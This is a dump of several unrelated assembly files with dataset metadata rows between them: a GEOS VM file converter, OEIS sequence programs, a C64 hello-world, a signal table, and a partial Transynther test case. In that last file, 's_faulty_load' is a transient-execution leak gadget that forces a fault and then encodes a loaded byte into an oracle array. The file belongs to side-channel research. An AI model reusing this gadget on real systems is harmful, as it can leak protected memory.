%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Copy the VM header block to the destination, after suitable
abuse.
CALLED BY: (INTERNAL) ConvertVMFile
PASS: ss:bp = inherited stack
RETURN: carry set on error:
ax = FileError
dest file closed and deleted
dest name freed
source file closed
carry clear on success:
ax = destroyed
DESTROYED: bx, cx, dx, si, di, ds, es
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConvertVMCopyVMHeader proc near
.enter inherit ConvertVMFile
;
; Allocate a buffer for the header.
;
mov ax, ss:[headerSize]
mov cx, ALLOC_DYNAMIC_LOCK
call MemAlloc
LONG jc couldntAllocVMHeaderSoCloseAndNukeDestFreeDestNameAndCloseSource
;
; Read the header in.
;
push bx
mov ds, ax
clr dx
mov cx, ss:[headerSize]
mov bx, ss:[sourceFile]
clr al
call FileRead
LONG jc couldntReadVMHeaderSoFreeBufCloseAndNukeDestFreeDestNameAndCloseSource
;
; Loop over all the blocks, abusing them as necessary.
;
mov si, offset VMH_blockTable
blockLoop:
test ds:[si].VMBH_sig, VM_IN_USE_BIT
jz adjustFilePos
;
; Block is in-use. If the header has VMAO_PRESERVE_HANDLES set, we
; want to set VMBF_PRESERVE_HANDLE for all in-use handles, as that's
; what it meant, using 2.0 terminology.
;
test ds:[VMH_attributes], mask VMAO_PRESERVE_HANDLES
jz fiddleWithID
ornf ds:[si].VMBH_flags, mask VMBF_PRESERVE_HANDLE
fiddleWithID:
;
; Deal with DBase blocks, converting from the old ID to the new.
;
mov ax, ds:[si].VMBH_uid
mov cx, DB_ITEM_BLOCK_ID ; assume item block
cmp ax, DB_OLD_ITEM_BLOCK_ID
je setID
mov cx, DB_GROUP_ID ; assume group block
cmp ax, DB_OLD_GROUP_ID
je setID
mov cx, ax ; assume not dbase
cmp ax, DB_OLD_MAP_ID
jne setID
;
; DBase map block also needs to have its handle recorded in the
; new VMH_dbMapBlock (formerly VMH_mapExtra) field of the header,
; as well as having its ID upgraded.
;
mov ds:[VMH_dbMapBlock], si
mov cx, DB_MAP_ID
setID:
mov ds:[si].VMBH_uid, cx
adjustFilePos:
;
; If the block (free or allocated) has space in the file, adjust it
; by the requisite amount. DO NOT test VMBH_fileSize, as that's the
; high word of the size of a free block, and usually zero...
;
mov ax, ds:[si].VMBH_filePos.low
or ax, ds:[si].VMBH_filePos.high
jz nextBlock
subdw ds:[si].VMBH_filePos, CVM_POS_ADJUST
nextBlock:
;
; Advance to the next block in the header.
;
add si, size VMBlockHandle
cmp si, ds:[VMH_lastHandle]
jne blockLoop
;
; 1.X documents with objects in them were always accessed by a single
; thread, so if the file indicates it holds objects in any of its
; blocks, set the VMA_SINGLE_THREAD_ACCESS bit as well.
;
test ds:[VMH_attributes], mask VMA_OBJECT_RELOC
jz writeHeader
ornf ds:[VMH_attributes], mask VMA_SINGLE_THREAD_ACCESS
writeHeader:
;
; Clear out the no-longer-existent VMAO_PRESERVE_HANDLES bit, just
; in case we want to reuse that bit for something else.
;
; Disable VMA_OBJECT_RELOC until the file has been converted, as
; attempting to relocate the object blocks created by the old
; application is doomed to failure.
;
andnf ds:[VMH_attributes], not (mask VMAO_PRESERVE_HANDLES or\
mask VMA_OBJECT_RELOC)
;
; Write the whole monster out.
;
mov cx, ss:[headerSize]
mov bx, ss:[destFile]
clr al
call FileWrite
jc couldntWriteVMHeaderSoFreeBufCloseAndNukeDestFreeDestNameAndCloseSource
;
; Free the buffer holding the header.
;
pop bx
call MemFree
clc
done:
.leave
ret
couldntAllocVMHeaderSoCloseAndNukeDestFreeDestNameAndCloseSource:
mov ax, ERROR_INSUFFICIENT_MEMORY
push ax
cleanUpAfterPushingErrorCodeAndFreeingBuffer:
call ConvertVMCloseFilesOnError
;
; Recover error code, set the carry, and return.
;
pop ax
stc
jmp done
couldntWriteVMHeaderSoFreeBufCloseAndNukeDestFreeDestNameAndCloseSource:
couldntReadVMHeaderSoFreeBufCloseAndNukeDestFreeDestNameAndCloseSource:
pop bx
push ax
call MemFree
jmp cleanUpAfterPushingErrorCodeAndFreeingBuffer
ConvertVMCopyVMHeader endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ConvertVMFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Convert a single VM file from a 1.x to 2.0, in-place
CALLED BY: GLOBAL
PASS: ds:dx = path to file to convert
cx = disk on which it sits (0 => current dir/disk)
RETURN: carry set on error:
ax = FileError
DESTROYED: ax, bx
SIDE EFFECTS: if successful, old file is overwritten
PSEUDO CODE/STRATEGY:
Open source file.
FileCreateTempFile for dest.
Read VMFileHeaderOld into allocated block.
Set all extended attributes of dest from GeosFileHeaderOld.
Write new VMFileHeader after adjusting position of header
for absence of GeosFileHeaderOld and increased VMFileHeader
Transfer data from source to dest until VMHeader
Read VMHeader.
foreach block:
if allocated:
set VMBF_PRESERVE_HANDLE if VMAO_PRESERVE_HANDLES
adjust file position by 16-GeosFileHeaderOld
if id is DB_OLD_MAP_ID, set VMH_dbMapBlock and
change to DB_MAP_ID
if id is DB_OLD_GROUP_ID, set to DB_GROUP_ID
if id is DB_OLD_ITEM_BLOCK_ID, set to DB_ITEM_BLOCK_ID
else if free space:
adjust file position by 16-GeosFileHeaderOld
clear VMAO_PRESERVE_HANDLES
if VMA_OBJECT_RELOC, set VMA_SINGLE_THREAD_ACCESS, then
clear VMA_OBJECT_RELOC
Write VMHeader
Transfer rest of the file.
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 8/26/92 Initial version
cassie 4/15/93 Change read-only files to read/write
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
rootPath char '\\', 0
ConvertVMFile proc far
fileName local fptr push ds, dx ; Name of file being converted
diskHandle local word push cx ; Handle of disk on which it
; sits (0 => current dir)
sourceFile local hptr ; Handle of source file
destFile local hptr ; Handle of dest file
destName local hptr ; Handle of block holding
; temp file's name
headerSize local word ; Size of VMHeaderOld
headerPos local dword ; VMHeaderOld position (source
; file)
finalComp local word ; Offset of final component
; of fileName
uses cx, dx, ds, bp, es, si, di
.enter
;
; If source file is on a different disk, push to its root
;
jcxz openSource
call FilePushDir
push ds, dx
segmov ds, cs
mov dx, offset rootPath
mov bx, cx
call FileSetCurrentPath
pop ds, dx
jc error
openSource:
call FileGetAttributes ; cx <- attributes
jc error
test cx, mask FA_RDONLY
jz notReadOnly
andnf cx, not (mask FA_RDONLY) ; clear the read only bit
call FileSetAttributes
jc error
notReadOnly:
mov al, FileAccessFlags <FE_DENY_WRITE, FA_READ_ONLY>
call FileOpen
jnc createDest
error:
jmp popDirIfNecessary
;--------------------
createDest:
mov ss:[sourceFile], ax
call ConvertVMCreateDest
jc error
mov ss:[destFile], ax
call ConvertVMCopyFileHeader
jc popDirIfNecessary
;
; Transfer everything up to the VMHeaderOld.
;
movdw cxdx, ss:[headerPos]
subdw cxdx, <size VMFileHeaderOld>
mov si, ss:[sourceFile]
mov di, ss:[destFile]
call ConvertVMBulkTransfer
jc popDirIfNecessary
;
; Convert and write the header itself.
;
call ConvertVMCopyVMHeader
jc popDirIfNecessary
;
; Transfer the rest of the file.
;
mov bx, ss:[sourceFile]
call FileSize ; dxax <- size
mov cx, dx
mov_tr dx, ax ; cxdx <- file size
subdw cxdx, ss:[headerPos] ; reduce byte count by start of
; header...
sub dx, ss:[headerSize] ; ...and its size
sbb cx, 0
mov si, ss:[sourceFile]
mov di, ss:[destFile]
call ConvertVMBulkTransfer
jc popDirIfNecessary
;
; Shut everything down.
;
mov bx, ss:[destFile]
clr al
call FileClose
mov bx, ss:[sourceFile]
call FileClose
;
; Nuke the source file.
;
lds dx, ss:[fileName]
call FileDelete
jc couldntDeleteSource
;
; Rename the dest to be the source.
;
segmov es, ds
mov di, ss:[finalComp]
cmp di, ss:[fileName].offset
je haveNewName
inc di ; skip over backslash
haveNewName:
mov bx, ss:[destName]
call MemDerefDS
clr dx
call FileRename
;
; Free buffer holding destination name.
;
call MemFree
;
; Pop dir, if necessary.
;
clc
popDirIfNecessary:
pushf
tst ss:[diskHandle] ; (clears carry)
jz dirPopped
call FilePopDir
dirPopped:
popf
.leave
ret
couldntDeleteSource:
push ax
mov bx, ss:[destName]
call MemDerefDS
clr dx
call FileDelete
call MemFree
pop ax
stc
jmp popDirIfNecessary
ConvertVMFile endp
VMCode ends
| 26.273836 | 85 | 0.64758 |
9edef62c4ad514649e718c38f32d605580efae1a | 459 | asm | Assembly | programs/oeis/143/A143182.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/143/A143182.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/143/A143182.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A143182: Triangle T(n,m) = 1 + abs(n-2*m), read by rows, 0<=m<=n.
; 1,2,2,3,1,3,4,2,2,4,5,3,1,3,5,6,4,2,2,4,6,7,5,3,1,3,5,7,8,6,4,2,2,4,6,8,9,7,5,3,1,3,5,7,9,10,8,6,4,2,2,4,6,8,10,11,9,7,5,3,1,3,5,7,9,11,12,10,8,6,4,2,2,4,6,8,10,12,13,11,9,7,5,3,1,3,5,7,9,11,13,14,12,10,8,6,4,2,2,4
seq $0,114327 ; Table T(n,m) = n - m read by upwards antidiagonals.
pow $0,2
seq $0,194 ; n appears 2n times, for n >= 1; also nearest integer to square root of n.
add $0,1
| 57.375 | 216 | 0.586057 |
ecd52fa6f2e7126879742d45038131562a3920ef | 725 | asm | Assembly | oeis/116/A116847.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/116/A116847.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/116/A116847.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A116847: Number of permutations of length n which avoid the patterns 123, 51432.
; Submitted by Simon Strandgaard
; 1,2,5,14,41,119,336,924,2492,6636,17536,46137,121095,317434,831571,2177734,5702191,14929519,39087182,102332996,267912946,701407172,1836310110,4807524929,12586266701,32951277474,86267568321,225851430414,591286726197,1548008751831,4052739533356,10610209852732,27777890029800,72723460242124,190392490702556,498454011872089,1304969544920851,3416454622898234,8944394323782287,23416728348457766,61305790721600891,160500643816355567,420196140727477290,1100087778366088644,2880067194370801886
mov $3,1
lpb $0
sub $0,1
add $2,$5
add $3,$2
add $4,$3
add $1,$4
add $5,$2
add $5,1
lpe
mov $0,$1
add $0,1
| 42.647059 | 486 | 0.812414 |
b74a1022428b0f4fe7c4aeaa8ec9c8b75268be51 | 204 | asm | Assembly | tests/testthat/asm/hello0.asm | jonocarroll/r64 | 99df883c7c5f369ca530f8b7370c28688187057c | [
"MIT"
] | 5 | 2018-04-27T11:25:14.000Z | 2021-12-17T01:02:51.000Z | tests/testthat/asm/hello0.asm | jonocarroll/r64 | 99df883c7c5f369ca530f8b7370c28688187057c | [
"MIT"
] | 4 | 2021-12-17T08:00:47.000Z | 2021-12-17T11:53:37.000Z | tests/testthat/asm/hello0.asm | jonocarroll/r64 | 99df883c7c5f369ca530f8b7370c28688187057c | [
"MIT"
] | 1 | 2021-12-16T11:11:11.000Z | 2021-12-16T11:11:11.000Z | *=$0801
.byte $0c, $08, $0a, $00, $9e, $20
.byte $32, $30, $38, $30, $00, $00
.byte $00
*=$0820
ldx #$00
loop lda message,x
and #$3f
sta $0400,x
inx
cpx #$0c
bne loop
rts
message
.text "Hello World!"
| 12.75 | 34 | 0.578431 |
a26fffccee317eec6e03080c3664f671a35f3042 | 738 | asm | Assembly | oeis/042/A042011.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/042/A042011.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/042/A042011.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A042011: Denominators of continued fraction convergents to sqrt(528).
; Submitted by Jamie Morken(s4)
; 1,1,45,46,2069,2115,95129,97244,4373865,4471109,201102661,205573770,9246348541,9451922311,425130930225,434582852536,19546776441809,19981359294345,898726585392989,918707944687334,41321876151635685,42240584096323019,1899907576389848521,1942148160486171540,87354426637781396281,89296574798267567821,4016403717761554380405,4105700292559821948226,184667216590393720102349,188772916882953542050575,8490675559440349570327649,8679448476323303112378224,390386408517665686514969505,399065856993988989627347729
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,22
dif $2,2
mul $2,44
lpe
mov $0,$2
div $0,44
| 41 | 501 | 0.830623 |
1cdf014701e37c5bf8b47d77b19d7edaa4b2f58a | 4,109 | asm | Assembly | partie assembleur/PjtKEIL_Step_ADC_DMA/Src/Signal.asm | joelimgu/BE_Laser | 5e476a34685daf7948a178bd37a2c64ac2e82e46 | [
"MIT"
] | null | null | null | partie assembleur/PjtKEIL_Step_ADC_DMA/Src/Signal.asm | joelimgu/BE_Laser | 5e476a34685daf7948a178bd37a2c64ac2e82e46 | [
"MIT"
] | null | null | null | partie assembleur/PjtKEIL_Step_ADC_DMA/Src/Signal.asm | joelimgu/BE_Laser | 5e476a34685daf7948a178bd37a2c64ac2e82e46 | [
"MIT"
] | null | null | null | AREA Signal, DATA, READONLY
export LeSignal
;LeSignal
; DCW 0x0fff ; 0 4095 0.99976
; DCW 0x0ff6 ; 1 4086 0.99756
; DCW 0x0fd9 ; 2 4057 0.99048
; DCW 0x0fa8 ; 3 4008 0.97852
; DCW 0x0f64 ; 4 3940 0.96191
; DCW 0x0f0e ; 5 3854 0.94092
; DCW 0x0ea7 ; 6 3751 0.91577
; DCW 0x0e2f ; 7 3631 0.88647
; DCW 0x0da8 ; 8 3496 0.85352
; DCW 0x0d13 ; 9 3347 0.81714
; DCW 0x0c72 ; 10 3186 0.77783
; DCW 0x0bc5 ; 11 3013 0.73560
; DCW 0x0b10 ; 12 2832 0.69141
; DCW 0x0a53 ; 13 2643 0.64526
; DCW 0x0990 ; 14 2448 0.59766
; DCW 0x08c9 ; 15 2249 0.54907
; DCW 0x0800 ; 16 2048 0.50000
; DCW 0x0737 ; 17 1847 0.45093
; DCW 0x0670 ; 18 1648 0.40234
; DCW 0x05ad ; 19 1453 0.35474
; DCW 0x04f0 ; 20 1264 0.30859
; DCW 0x043b ; 21 1083 0.26440
; DCW 0x038e ; 22 910 0.22217
; DCW 0x02ed ; 23 749 0.18286
; DCW 0x0258 ; 24 600 0.14648
; DCW 0x01d1 ; 25 465 0.11353
; DCW 0x0159 ; 26 345 0.08423
; DCW 0x00f2 ; 27 242 0.05908
; DCW 0x009c ; 28 156 0.03809
; DCW 0x0058 ; 29 88 0.02148
; DCW 0x0027 ; 30 39 0.00952
; DCW 0x000a ; 31 10 0.00244
; DCW 0x0000 ; 32 0 0.00000
; DCW 0x000a ; 33 10 0.00244
; DCW 0x0027 ; 34 39 0.00952
; DCW 0x0058 ; 35 88 0.02148
; DCW 0x009c ; 36 156 0.03809
; DCW 0x00f2 ; 37 242 0.05908
; DCW 0x0159 ; 38 345 0.08423
; DCW 0x01d1 ; 39 465 0.11353
; DCW 0x0258 ; 40 600 0.14648
; DCW 0x02ed ; 41 749 0.18286
; DCW 0x038e ; 42 910 0.22217
; DCW 0x043b ; 43 1083 0.26440
; DCW 0x04f0 ; 44 1264 0.30859
; DCW 0x05ad ; 45 1453 0.35474
; DCW 0x0670 ; 46 1648 0.40234
; DCW 0x0737 ; 47 1847 0.45093
; DCW 0x0800 ; 48 2048 0.50000
; DCW 0x08c9 ; 49 2249 0.54907
; DCW 0x0990 ; 50 2448 0.59766
; DCW 0x0a53 ; 51 2643 0.64526
; DCW 0x0b10 ; 52 2832 0.69141
; DCW 0x0bc5 ; 53 3013 0.73560
; DCW 0x0c72 ; 54 3186 0.77783
; DCW 0x0d13 ; 55 3347 0.81714
; DCW 0x0da8 ; 56 3496 0.85352
; DCW 0x0e2f ; 57 3631 0.88647
; DCW 0x0ea7 ; 58 3751 0.91577
; DCW 0x0f0e ; 59 3854 0.94092
; DCW 0x0f64 ; 60 3940 0.96191
; DCW 0x0fa8 ; 61 4008 0.97852
; DCW 0x0fd9 ; 62 4057 0.99048
; DCW 0x0ff6 ; 63 4086 0.99756
; END
LeSignal
DCW 0x0eee ; 0 3822 0.93311
DCW 0x0d78 ; 1 3448 0.84180
DCW 0x0b8a ; 2 2954 0.72119
DCW 0x094e ; 3 2382 0.58154
DCW 0x06f5 ; 4 1781 0.43481
DCW 0x04b3 ; 5 1203 0.29370
DCW 0x02ba ; 6 698 0.17041
DCW 0x0135 ; 7 309 0.07544
DCW 0x0046 ; 8 70 0.01709
DCW 0x0001 ; 9 1 0.00024
DCW 0x006d ; 10 109 0.02661
DCW 0x017f ; 11 383 0.09351
DCW 0x0321 ; 12 801 0.19556
DCW 0x052f ; 13 1327 0.32397
DCW 0x077a ; 14 1914 0.46729
DCW 0x09d1 ; 15 2513 0.61353
DCW 0x0c00 ; 16 3072 0.75000
DCW 0x0dd7 ; 17 3543 0.86499
DCW 0x0f2d ; 18 3885 0.94849
DCW 0x0fe5 ; 19 4069 0.99341
DCW 0x0fee ; 20 4078 0.99561
DCW 0x0f49 ; 21 3913 0.95532
DCW 0x0e04 ; 22 3588 0.87598
DCW 0x0c39 ; 23 3129 0.76392
DCW 0x0a12 ; 24 2578 0.62939
DCW 0x07bd ; 25 1981 0.48364
DCW 0x056e ; 26 1390 0.33936
DCW 0x0357 ; 27 855 0.20874
DCW 0x01a7 ; 28 423 0.10327
DCW 0x0083 ; 29 131 0.03198
DCW 0x0004 ; 30 4 0.00098
DCW 0x0035 ; 31 53 0.01294
DCW 0x0112 ; 32 274 0.06689
DCW 0x0288 ; 33 648 0.15820
DCW 0x0476 ; 34 1142 0.27881
DCW 0x06b2 ; 35 1714 0.41846
DCW 0x090b ; 36 2315 0.56519
DCW 0x0b4d ; 37 2893 0.70630
DCW 0x0d46 ; 38 3398 0.82959
DCW 0x0ecb ; 39 3787 0.92456
DCW 0x0fba ; 40 4026 0.98291
DCW 0x0fff ; 41 4095 0.99976
DCW 0x0f93 ; 42 3987 0.97339
DCW 0x0e81 ; 43 3713 0.90649
DCW 0x0cdf ; 44 3295 0.80444
DCW 0x0ad1 ; 45 2769 0.67603
DCW 0x0886 ; 46 2182 0.53271
DCW 0x062f ; 47 1583 0.38647
DCW 0x0400 ; 48 1024 0.25000
DCW 0x0229 ; 49 553 0.13501
DCW 0x00d3 ; 50 211 0.05151
DCW 0x001b ; 51 27 0.00659
DCW 0x0012 ; 52 18 0.00439
DCW 0x00b7 ; 53 183 0.04468
DCW 0x01fc ; 54 508 0.12402
DCW 0x03c7 ; 55 967 0.23608
DCW 0x05ee ; 56 1518 0.37061
DCW 0x0843 ; 57 2115 0.51636
DCW 0x0a92 ; 58 2706 0.66064
DCW 0x0ca9 ; 59 3241 0.79126
DCW 0x0e59 ; 60 3673 0.89673
DCW 0x0f7d ; 61 3965 0.96802
DCW 0x0ffc ; 62 4092 0.99902
DCW 0x0fcb ; 63 4043 0.98706
END
| 30.213235 | 31 | 0.649306 |
1d3e42365c62f08dca670af6ed8f59b446956c5e | 5,094 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1095.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1095.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1095.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rbp
push %rcx
push %rdx
lea addresses_D_ht+0xc561, %r12
clflush (%r12)
xor $14721, %r14
mov (%r12), %r15d
nop
nop
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0xa9b1, %rcx
xor %r11, %r11
mov $0x6162636465666768, %rdx
movq %rdx, %xmm0
vmovups %ymm0, (%rcx)
sub %rbp, %rbp
lea addresses_UC_ht+0x59a1, %rdx
nop
nop
nop
nop
nop
inc %r11
movb $0x61, (%rdx)
nop
nop
cmp $9813, %rdx
pop %rdx
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r8
push %rax
push %rbx
push %rdx
// Load
lea addresses_A+0xd5a1, %r10
nop
nop
add $26397, %r12
mov (%r10), %r11d
nop
nop
and %r11, %r11
// Store
lea addresses_A+0x1fe79, %rdx
nop
nop
xor %rax, %rax
movl $0x51525354, (%rdx)
// Exception!!!
nop
nop
nop
mov (0), %r12
nop
nop
nop
nop
sub $39125, %r12
// Faulty Load
lea addresses_PSE+0xc1a1, %rdx
nop
nop
nop
nop
cmp $11192, %r8
movb (%rdx), %r11b
lea oracles, %rax
and $0xff, %r11
shlq $12, %r11
mov (%rax,%r11,1), %r11
pop %rdx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': False, 'type': 'addresses_A'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': False, 'type': 'addresses_A'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0, 'same': True, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
| 43.169492 | 2,999 | 0.656655 |
743cd26722926c76b028d46130ddb162f870bfbc | 7,201 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_783.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_783.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_783.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xe174, %rsi
lea addresses_A_ht+0x8df4, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
and $47863, %r13
mov $124, %rcx
rep movsw
nop
nop
nop
cmp $17263, %rbp
lea addresses_UC_ht+0x12354, %rsi
lea addresses_UC_ht+0x2f4, %rdi
nop
nop
nop
add %r8, %r8
mov $79, %rcx
rep movsq
and %rcx, %rcx
lea addresses_UC_ht+0x7d6a, %r8
nop
nop
xor %rbp, %rbp
movb (%r8), %r13b
nop
nop
nop
